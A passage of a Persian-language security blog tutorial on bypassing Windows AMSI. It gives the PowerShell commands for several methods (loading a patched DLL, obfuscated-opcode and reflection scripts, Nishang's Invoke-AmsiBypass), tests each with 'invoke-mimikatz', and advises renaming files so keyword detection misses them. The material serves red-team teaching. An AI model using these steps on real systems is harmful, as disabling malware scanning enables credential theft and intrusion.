\u062f\u0631\u0628\u0627\u0631\u0647 \u062a\u06a9\u0646\u06cc\u06a9\u200c\u0647\u0627\u06cc <a href=\"https:\/\/rastamouse.me\/memory-patching-amsi-bypass\/\">Memory Hijacking<\/a> \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f AMSI \u0631\u0627 \u062f\u0648\u0631 \u0628\u0632\u0646\u0646\u062f\u060c \u0645\u0637\u0644\u0628\u06cc \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0645\u0646\u0637\u0642 \u0627\u06cc\u0646 \u0631\u0648\u0634 Hooking \u062a\u0627\u0628\u0639 AmsiScanBuffer() \u0627\u0633\u062a (\u0628\u0631\u0627\u06cc \u0645\u0637\u0627\u0644\u0639\u0647 \u062f\u0631\u0628\u0627\u0631\u0647 <a href=\"https:\/\/www.hackingarticles.in\/android-hooking-and-sslpinning-using-objection-framework\/\"><em>Hooking<\/em><\/a> \u0627\u06cc\u0646\u062c\u0627 \u0631\u0627 \u0628\u0628\u06cc\u0646\u06cc\u062f) \u0628\u0647\u200c\u06af\u0648\u0646\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0647\u0645\u0648\u0627\u0631\u0647 \u0645\u0642\u062f\u0627\u0631 AMSI_RESULT_CLEAN \u0631\u0627 \u0628\u0627\u0632\u06af\u0631\u062f\u0627\u0646\u062f\u060c \u06a9\u0647 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f AMSI \u0647\u06cc\u0686 \u0628\u062f\u0627\u0641\u0632\u0627\u0631\u06cc \u067e\u06cc\u062f\u0627 \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u067e\u0627\u0633\u062e\u200c\u0647\u0627\u06cc API \u0646\u06cc\u0632 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0646\u062f \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 API Monitor \u0633\u0627\u062e\u062a\u0647\u200c\u06cc Rohitab \u0645\u0627\u0646\u06cc\u062a\u0648\u0631 \u0634\u0648\u0646\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u0628\u062a\u062f\u0627 \u0628\u06cc\u0627\u06cc\u06cc\u062f \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a Invoke-Mimikatz \u0631\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0645 \u06a9\u0647 AMSI \u0628\u0647\u200c\u062f\u0631\u0633\u062a\u06cc \u062f\u0631 \u062d\u0627\u0644 \u06a9\u0627\u0631 \u0627\u0633\u062a.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20368\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/12-1-300x257.png\" alt=\"\" width=\"568\" height=\"487\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/12-1-300x257.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/12-1-150x128.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/12-1.png 699w\" sizes=\"(max-width: 568px) 100vw, 568px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u06a9\u0646\u0648\u0646 \u06a9\u062f \u0627\u0635\u0644\u06cc \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0627\u0631\u0627\u0626\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0631\u0627\u06cc \u06a9\u0627\u0647\u0634 \u067e\u06cc\u0686\u06cc\u062f\u06af\u06cc \u062f\u0631 \u0641\u0631\u0627\u06cc\u0646\u062f Compile \u06a9\u0631\u062f\u0646 \u06a9\u062f \u0628\u0647\u200c\u0635\u0648\u0631\u062a DLL\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f <em>Fork<\/em> \u0645\u0646 \u0631\u0627 \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u062f. \u067e\u0633 \u0627\u0632 \u062f\u0627\u0646\u0644\u0648\u062f\u060c \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u062d\u0627\u0635\u0644 \u06a9\u0646\u06cc\u062f \u06a9\u0647 \u0646\u0627\u0645 Main Package \u0631\u0627 \u0627\u0632 &#8220;AmsiScanBufferBypass&#8221; \u0628\u0647 &#8220;Project&#8221; \u06cc\u0627 \u0647\u0631 \u0646\u0627\u0645 \u062f\u0644\u062e\u0648\u0627\u0647 \u062f\u06cc\u06af\u0631\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u06cc\u062f\u061b \u0632\u06cc\u0631\u0627 AMSI \u0631\u0634\u062a\u0647 &#8220;AmsiScanBufferBypass&#8221; \u0631\u0627 \u0646\u06cc\u0632 \u0645\u0633\u062f\u0648\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f!<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u067e\u0633 \u0627\u0632 \u062f\u0627\u0646\u0644\u0648\u062f\u060c \u0628\u0647 \u067e\u0648\u0634\u0647 Release \u0628\u0631\u0648\u06cc\u062f \u0648 \u0645\u0634\u0627\u0647\u062f\u0647 \u062e\u0648\u0627\u0647\u06cc\u062f \u06a9\u0631\u062f \u06a9\u0647 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 DLL \u0628\u0627 \u0646\u0627\u0645 ASBBypass.dll \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0627\u0632 \u0622\u0646\u062c\u0627 \u06a9\u0647 \u0627\u06a9\u0646\u0648\u0646 \u06cc\u06a9 DLL \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u062f\u0627\u0631\u06cc\u0645\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u0645 \u0622\u0646 \u0631\u0627 \u0628\u0627 <em>EXE Payload<\/em> \u062e\u0648\u062f \u0646\u06cc\u0632 \u0627\u062f\u063a\u0627\u0645 \u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0644\u062d\u0638\u0647\u060c AMSI \u0631\u0627 \u062f\u0648\u0631 \u0628\u0632\u0646\u06cc\u0645!<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0645\u0627 \u0627\u0632 \u06a9\u062f C# \u0628\u0647\u200c\u0635\u0648\u0631\u062a <em>In-line<\/em> \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u062a\u0627 <em>Patch<\/em> \u0631\u0627 \u062a\u0646\u0647\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 PowerShell Terminal \u0641\u0639\u0627\u0644 \u06a9\u0646\u06cc\u0645. \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0628\u0647 \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0642\u0627\u0628\u0644 \u0627\u0646\u062c\u0627\u0645 \u0627\u0633\u062a:<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">[System.Reflection.Assembly]::LoadFile(\"C:\\users\\hex\\Project\\ASBBypass.dll\")\r\n[Amsi]::Bypass()\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20369\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/13-1-300x170.png\" alt=\"\" width=\"588\" height=\"333\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/13-1-300x170.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/13-1-768x435.png 768w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/13-1-150x85.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/13-1.png 1022w\" sizes=\"(max-width: 588px) 100vw, 588px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u062f\u060c AMSI \u0627\u06a9\u0646\u0648\u0646 \u0628\u0627 \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0648\u0631 \u0632\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0631\u0648\u0634 \u067e\u0646\u062c\u0645<\/strong><strong> Memory Hijacking (Obfuscated Opcodes)<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt\">\u067e\u0633 \u0627\u0632 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u062a\u06a9\u0646\u06cc\u06a9 Rasta Mouse (Daniel Duggan)\u060c \u0627\u0641\u0631\u0627\u062f \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u06cc \u062f\u0631 \u06a9\u062f \u0627\u06cc\u062c\u0627\u062f \u06a9\u0631\u062f\u0646\u062f \u062a\u0627 \u0645\u062c\u062f\u062f\u0627\u064b FUD \u0634\u0648\u062f. Fatrodzianko \u062f\u0631 \u0648\u0628\u0644\u0627\u06af \u062e\u0648\u062f \u062f\u0631\u0628\u0627\u0631\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062a\u06a9\u0646\u06cc\u06a9\u200c\u0647\u0627 \u0645\u0637\u0644\u0628\u06cc \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0627\u0648 \u0647\u0645\u0627\u0646 \u06a9\u062f \u0631\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 Opcodes\u060c Obfuscate \u06a9\u0631\u062f\u0647 \u0648 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u062f\u0631 <a href=\"https:\/\/gist.github.com\/FatRodzianko\/c8a76537b5a87b850c7d158728717998#file-my-am-bypass-ps1\"><em>Gist<\/em><\/a> \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0627\u0633\u062a.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a\u060c \u06a9\u0627\u0641\u06cc \u0627\u0633\u062a \u0622\u0646 \u0631\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0631\u062f\u0647\u060c \u062a\u063a\u06cc\u06cc\u0631 \u0646\u0627\u0645 \u062f\u0647\u06cc\u062f (\u0628\u0631\u0627\u06cc \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc <em>Keyword<\/em> \u062a\u0648\u0633\u0637 AMSI) \u0648 \u0633\u067e\u0633 \u0628\u0647 \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f:<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\"invoke-mimikatz\"\r\n.\\my-am-bypass.ps1\r\n\"invoke-mimikatz\"\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20370\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/14-1-300x182.png\" alt=\"\" width=\"570\" height=\"346\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/14-1-300x182.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/14-1-150x91.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/14-1.png 725w\" sizes=\"(max-width: 570px) 100vw, 570px\" \/><\/p>\n<p><span style=\"font-size: 10pt\">\u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u062f\u060c \u0645\u0627 \u0627\u06a9\u0646\u0648\u0646 \u0628\u0627 \u0645\u0648\u0641\u0642\u06cc\u062a \u062a\u0648\u0627\u0646\u0633\u062a\u0647\u200c\u0627\u06cc\u0645 AMSI \u0631\u0627 \u062f\u0648\u0631 \u0628\u0632\u0646\u06cc\u0645.<\/span><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0631\u0648\u0634 \u0634\u0634\u0645<\/strong><strong> AMSI Bypass <\/strong><strong>\u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632<\/strong><strong> Reflection<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt\">\u0628\u0631 \u0627\u0633\u0627\u0633 \u0645\u0633\u062a\u0646\u062f\u0627\u062a Microsoft: \u00abReflection \u0627\u0634\u06cc\u0627\u0626\u06cc (<em>Objects<\/em>) \u0627\u0632 \u0646\u0648\u0639 Type \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 <em>Assemblies<\/em>\u060c <em>Modules<\/em> \u0648 <em>Types<\/em> \u0631\u0627 \u062a\u0648\u0635\u06cc\u0641 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 Reflection \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u067e\u0648\u06cc\u0627 (<em>Dynamically<\/em>) \u06cc\u06a9 \u0646\u0645\u0648\u0646\u0647 \u0627\u0632 \u06cc\u06a9 <em>Type<\/em>\u060c \u0627\u062a\u0635\u0627\u0644 <em>Type<\/em> \u0628\u0647 \u06cc\u06a9 \u0634\u06cc\u0621 \u0645\u0648\u062c\u0648\u062f\u060c \u06cc\u0627 \u0628\u0647\u200c\u062f\u0633\u062a\u200c\u0622\u0648\u0631\u062f\u0646 <em>Type<\/em> \u0627\u0632 \u06cc\u06a9 \u0634\u06cc\u0621 \u0645\u0648\u062c\u0648\u062f \u0648 \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc \u0645\u062a\u062f\u0647\u0627 \u06cc\u0627 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0641\u06cc\u0644\u062f\u0647\u0627 \u0648 <em>Properties<\/em> \u0622\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0627\u06af\u0631 \u062f\u0631 \u06a9\u062f \u062e\u0648\u062f \u0627\u0632 <em>Attributes<\/em> \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f\u060c Reflection \u0627\u0645\u06a9\u0627\u0646 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u0631\u0627 \u0646\u06cc\u0632 \u0641\u0631\u0627\u0647\u0645 \u0645\u06cc\u200c\u06a9\u0646\u062f.\u00bb (\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u0631\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u06cc\u0646\u062c\u0627 \u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u0646\u06cc\u062f).<\/span><\/p>\n<p><span style=\"font-size: 10pt\">Paul Laine \u0631\u0648\u0634 \u0627\u0635\u0644\u06cc Memory Hijacking \u0631\u0627 \u062f\u0631 \u0648\u0628\u0644\u0627\u06af <em>contextis.com<\/em> \u0645\u0646\u062a\u0634\u0631 \u06a9\u0631\u062f. Shantanu Khandelwal \u0647\u0645\u0627\u0646 \u06a9\u062f \u0631\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062a\u06a9\u0646\u06cc\u06a9 Reflection \u0645\u0639\u0631\u0641\u06cc\u200c\u0634\u062f\u0647 \u062a\u0648\u0633\u0637 Matt Graeber\u060c \u0628\u0647\u200c\u0635\u0648\u0631\u062a \u06cc\u06a9 <em>In-Memory Patch<\/em> \u06a9\u0627\u0645\u0644 \u0628\u0627\u0632\u0646\u0648\u06cc\u0633\u06cc \u06a9\u0631\u062f. \u0627\u06cc\u0646 \u062a\u063a\u06cc\u06cc\u0631 \u0628\u0627\u0639\u062b \u0634\u062f \u06a9\u062f \u0645\u062e\u0641\u06cc\u0627\u0646\u0647\u200c\u062a\u0631 \u0639\u0645\u0644 \u06a9\u0646\u062f\u061b \u0686\u0631\u0627 \u06a9\u0647 \u062f\u06cc\u06af\u0631 \u0647\u06cc\u0686 <em>Artefact<\/em> \u0631\u0648\u06cc \u062f\u06cc\u0633\u06a9 \u0628\u0627\u0642\u06cc \u0646\u0645\u06cc\u200c\u0645\u0627\u0646\u062f. (\u0645\u0634\u0627\u0647\u062f\u0647 \u0628\u06cc\u0634\u062a\u0631 \u062f\u0631 \u0648\u0628\u200c\u0633\u0627\u06cc\u062a \u0627\u0648).<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0645\u0627 \u0646\u0633\u062e\u0647 \u0627\u0635\u0644\u06cc <em>Patch<\/em> \u0631\u0627 \u0646\u0645\u0627\u06cc\u0634 \u0646\u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u062f\u060c \u0628\u0644\u06a9\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 Reflection \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u0645\u06cc\u200c\u0634\u0648\u062f. \u0645\u0637\u0645\u0626\u0646 \u0634\u0648\u06cc\u062f \u06a9\u0647 \u067e\u0633 \u0627\u0632 \u062f\u0627\u0646\u0644\u0648\u062f\u060c \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0646\u0627\u0645 \u062f\u0647\u06cc\u062f \u0648 \u0627\u0632 <em>Keywords<\/em>\u200c\u06cc \u0645\u0627\u0646\u0646\u062f &#8220;amsibypass&#8221; \u0648 \u2026 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u06a9\u0646\u06cc\u062f\u060c \u0632\u06cc\u0631\u0627 \u062a\u0648\u0633\u0637 AMSI \u0645\u0633\u062f\u0648\u062f \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0645\u0646 \u0646\u0627\u0645 \u0641\u0627\u06cc\u0644 \u0631\u0627 \u0628\u0647 &#8220;am-bp-reflection.ps1&#8221; \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u0647\u200c\u0627\u0645.<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\"invoke-mimikatz\"\r\n.\\am-bp-reflection.ps1\r\n\"invoke-mimikatz\"\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20371\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/15-1-300x241.png\" alt=\"\" width=\"533\" height=\"428\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/15-1-300x241.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/15-1-150x121.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/15-1.png 698w\" sizes=\"(max-width: 533px) 100vw, 533px\" \/><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0631\u0648\u0634 \u0647\u0641\u062a\u0645 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a<\/strong><strong> Nishang All in One<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt\">Nikhil Mittal \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a AMSI Bypass \u0631\u0627 \u0628\u0647 \u0627\u0628\u0632\u0627\u0631 \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647 \u062e\u0648\u062f \u0628\u0627 \u0646\u0627\u0645 Nishang \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0622\u0646 \u0631\u0627 \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u062f\u0631\u06cc\u0627\u0641\u062a \u06a9\u0646\u06cc\u062f. \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0634\u0634 \u0631\u0648\u0634 \u0645\u062e\u062a\u0644\u0641 \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 AMSI \u0631\u0627 \u062f\u0631 \u06cc\u06a9 \u0627\u062c\u0631\u0627 \u062a\u0631\u06a9\u06cc\u0628 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0631\u0648\u0634\u200c\u0647\u0627 \u0639\u0628\u0627\u0631\u062a\u0646\u062f \u0627\u0632:<\/span><\/p>\n<ul>\n<li><span style=\"font-size: 10pt\">unload \u2013 \u0631\u0648\u0634\u06cc \u0627\u0632 Matt Graeber. \u0645\u0627\u0698\u0648\u0644 AMSI \u0631\u0627 \u0627\u0632 \u0646\u0634\u0633\u062a \u062c\u0627\u0631\u06cc PowerShell \u062e\u0627\u0631\u062c \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">unload2 \u2013 \u0631\u0648\u0634 \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 Matt Graeber. AMSI \u0631\u0627 \u0627\u0632 \u0646\u0634\u0633\u062a \u062c\u0627\u0631\u06cc PowerShell \u062e\u0627\u0631\u062c \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">unloadsilent \u2013 \u0631\u0648\u0634 \u062f\u06cc\u06af\u0631\u06cc \u0627\u0632 Matt Graeber. AMSI \u0631\u0627 \u062e\u0627\u0631\u062c \u06a9\u0631\u062f\u0647 \u0648 \u0627\u0632 WMF5 Autologging \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">unloadobfuscated \u2013 \u0646\u0633\u062e\u0647 Obfuscated \u0634\u062f\u0647\u200c\u06cc \u0631\u0648\u0634 unload \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 Invoke-Obfuscation \u062a\u0648\u0633\u0639\u0647\u200c\u06cc\u0627\u0641\u062a\u0647 \u062a\u0648\u0633\u0637 Daniel Bohannon \u2013 \u06a9\u0647 \u0627\u0632 WMF5 Autologging \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">dllhijack \u2013 \u0631\u0648\u0634\u06cc \u0627\u0632 Cornelis de Plaa. \u062f\u0631 \u0627\u06cc\u0646 \u0631\u0648\u0634\u060c \u0641\u0627\u06cc\u0644 amsi.dll \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u062f\u0631 \u06a9\u062f \u0627\u0632 \u067e\u0631\u0648\u0698\u0647 p0wnedshell (\u0644\u06cc\u0646\u06a9: <a href=\"https:\/\/github.com\/Cn33liz\/p0wnedShell\">https:\/\/github.com\/Cn33liz\/p0wnedShell<\/a>) \u06af\u0631\u0641\u062a\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f.<\/span><\/li>\n<li><span style=\"font-size: 10pt\">psv2 \u2013 \u0627\u06af\u0631 \u0646\u0633\u062e\u0647\u200c\u06cc .NET 2.0.50727 \u0631\u0648\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u0645\u0648\u062c\u0648\u062f \u0628\u0627\u0634\u062f\u060c PowerShell v2 \u0627\u062c\u0631\u0627 \u062e\u0648\u0627\u0647\u062f \u0634\u062f \u06a9\u0647 \u0627\u0632 AMSI \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0646\u0645\u06cc\u200c\u06a9\u0646\u062f.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-size: 10pt\">\u062a\u0646\u0647\u0627 \u06a9\u0627\u0641\u06cc \u0627\u0633\u062a \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0631\u062f\u0647 \u0648 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f\u061b \u0627\u0628\u0632\u0627\u0631 \u0628\u0647\u200c\u0637\u0648\u0631 \u062e\u0648\u062f\u06a9\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06cc\u06a9 \u0631\u0648\u0634 \u0645\u0639\u062a\u0628\u0631\u060c AMSI \u0631\u0627 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0632\u0646\u062f. \u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644\u060c \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 WMF5 Autologging Bypass \u0639\u0645\u0644 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0631\u0648\u0634 AMSI \u0631\u0627 \u0627\u0632 <em>Terminal<\/em> \u062c\u0627\u0631\u06cc \u062e\u0627\u0631\u062c \u06a9\u0631\u062f\u0647 \u0648 \u0622\u0646 \u0631\u0627 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0632\u0646\u062f.<\/span><\/p>\n<p><span style=\"font-size: 10pt\">\u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0631\u0627 \u0627\u0632 \u0627\u06cc\u0646\u062c\u0627 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0631\u062f\u0647\u060c \u0646\u0627\u0645 \u0622\u0646 \u0631\u0627 \u0628\u0647 &#8220;nishang.ps1&#8221; \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0647\u06cc\u062f \u0648 \u0628\u0647 \u0634\u06a9\u0644 \u0632\u06cc\u0631 \u0627\u062c\u0631\u0627 \u06a9\u0646\u06cc\u062f:<\/span><\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Import-Module .\\nishang.ps1\r\nInvoke-AmsiBypass -Verbose\r\n\u201cinvoke-mimikatz\u201d\r\n<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-20372\" src=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/16-1-300x71.png\" alt=\"\" width=\"537\" height=\"127\" srcset=\"https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/16-1-300x71.png 300w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/16-1-150x35.png 150w, https:\/\/liangroup.net\/blog\/wp-content\/uploads\/2025\/08\/16-1.png 661w\" sizes=\"(max-width: 537px) 100vw, 537px\" \/><\/p>\n<p><span style=\"font-size: 10pt\"><strong>\u0646\u062a\u06cc\u062c\u0647\u200c\u06af\u06cc\u0631\u06cc<\/strong><\/span><br \/>\n<span style=\"font-size: 10pt\">\u062f\u0631 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u062f\u0631\u0628\u0627\u0631\u0647 \u0645\u0628\u0627\u0646\u06cc AMSI\u060c \u0646\u062d\u0648\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0622\u0646 \u062f\u0631 \u06cc\u06a9 \u0628\u0631\u0646\u0627\u0645\u0647\u060c <em>Workflow<\/em> \u0648 \u0647\u0641\u062a \u0631\u0648\u0634 \u0628\u0631\u0627\u06cc \u062f\u0648\u0631 \u0632\u062f\u0646 \u0622\u0646 \u0635\u062d\u0628\u062a \u06a9\u0631\u062f\u06cc\u0645. \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u0628\u06cc\u0634\u062a\u0631\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f\u060c \u0627\u0645\u0627 \u0647\u062f\u0641 \u0627\u06cc\u0646 \u0645\u0642\u0627\u0644\u0647 \u0628\u0631\u0631\u0633\u06cc \u0647\u0641\u062a \u0631\u0648\u0634 